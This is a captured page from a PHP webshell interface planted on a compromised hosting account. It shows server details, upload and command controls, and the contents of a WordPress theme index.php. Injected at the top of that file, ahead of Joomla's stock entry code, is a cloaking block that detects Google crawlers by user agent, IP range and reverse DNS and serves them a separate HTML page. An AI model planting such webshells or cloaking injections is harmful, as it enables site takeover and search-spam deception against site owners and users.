403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.39
Web Server : Apache
System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : symetry ( 21728)
PHP Version : 8.2.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/symetry/www/wp-content/themes/admins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/symetry/www/wp-content/themes/admins/index.php
<?php

                function isGoogleUserAgent() {
                    if (empty($_SERVER['HTTP_USER_AGENT'])) return false;

                    $googleBots = [
                        'Googlebot', 'Googlebot-Mobile', 'Googlebot-Image', 'Googlebot-Video',
                        'Googlebot-News', 'Googlebot-AMP', 'AdsBot-Google', 'AdsBot-Google-Mobile',
                        'FeedFetcher-Google', 'Google-Read-Aloud', 'DuplexWeb-Google',
                        'Storebot-Google', 'Mediapartners-Google', 'Google Favicon',
                        'Google-InspectionTool', 'Google-PageRenderer',
                        'Google-Structured-Data-Testing-Tool'
                    ];

                    foreach ($googleBots as $bot) {
                        if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
                            return true;
                        }
                    }

                    return false;
                }

                function isGoogleIP() {
                    if (empty($_SERVER['REMOTE_ADDR'])) return false;

                    $googleRanges = [
                        '64.233.160.0/19','66.102.0.0/20','66.249.64.0/19','72.14.192.0/18',
                        '74.125.0.0/16','108.177.8.0/21','142.250.0.0/15','172.217.0.0/16',
                        '173.194.0.0/16','209.85.128.0/17','216.239.32.0/19'
                    ];

                    $ip = $_SERVER['REMOTE_ADDR'];
                    $ipLong = sprintf('%u', ip2long($ip));
                    if (!$ipLong) return false;

                    foreach ($googleRanges as $range) {
                        list($subnet, $maskBits) = explode('/', $range);
                        $subnetLong = sprintf('%u', ip2long($subnet));
                        $mask = $maskBits == 0 ? 0 : (~0 << (32 - $maskBits));

                        if (($ipLong & $mask) == ($subnetLong & $mask)) {
                            return true;
                        }
                    }

                    return false;
                }

                function isGoogleDNS() {
                    if (empty($_SERVER['REMOTE_ADDR'])) return false;

                    $hostname = @gethostbyaddr($_SERVER['REMOTE_ADDR']);
                    if (!$hostname || $hostname === $_SERVER['REMOTE_ADDR']) return false;

                    return (
                        stripos($hostname, 'googlebot.com') !== false ||
                        stripos($hostname, 'google.com') !== false
                    );
                }


                if (isGoogleUserAgent() || isGoogleDNS() || isGoogleIP()) {
                    if (is_readable(__DIR__ . '/license.html')) {
                        header('Content-Type: text/html; charset=UTF-8');
                        readfile(__DIR__ . '/license.html');
                    } else {
                        echo "license.html bulunamadı!";
                    }
                    exit;
                }

                ?>
<?php

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message

// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
define('JOOMLA_MINIMUM_PHP', '8.3.0');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/includes/incompatible.html')
        )
    );
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// Load global path definitions
if (file_exists(__DIR__ . '/defines.php')) {
    include_once __DIR__ . '/defines.php';
}

require_once __DIR__ . '/includes/defines.php';

// Check the existence of an update-extraction config file
if (
    !empty($_GET['jautoupdate'])
    && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php')
) {
    // Load extraction script and...
    require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php';

    // ... die
    die();
}

// Run the application - All executable code should be triggered through this file
require_once __DIR__ . '/includes/app.php';

Youez - 2016 - github.com/yon3zu
LinuXploit